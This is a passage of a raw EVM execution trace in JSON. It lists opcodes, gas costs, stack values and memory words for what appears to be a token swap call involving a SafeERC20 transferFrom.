c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12149,"op":"PUSH2","gas":78661,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12152,"op":"JUMP","gas":78658,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x3040"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12352,"op":"JUMPDEST","gas":78650,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12353,"op":"PUSH1","gas":78649,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12355,"op":"MLOAD","gas":78646,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12356,"op":"PUSH4","gas":78643,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12361,"op":"PUSH1","gas":78640,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12363,"op":"SHL","gas":78637,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xe6a43905","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12364,"op":"DUP2","gas":78634,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xe6a4390500000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12365,"op":"MSTORE","gas":78631,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xe6a4390500000000000000000000000000000000000000000000000000000000","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12366,"op":"PUSH1","gas":78628,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12368,"op":"PUSH1","gas":78625,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12370,"op":"PUSH1","gas":78622,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000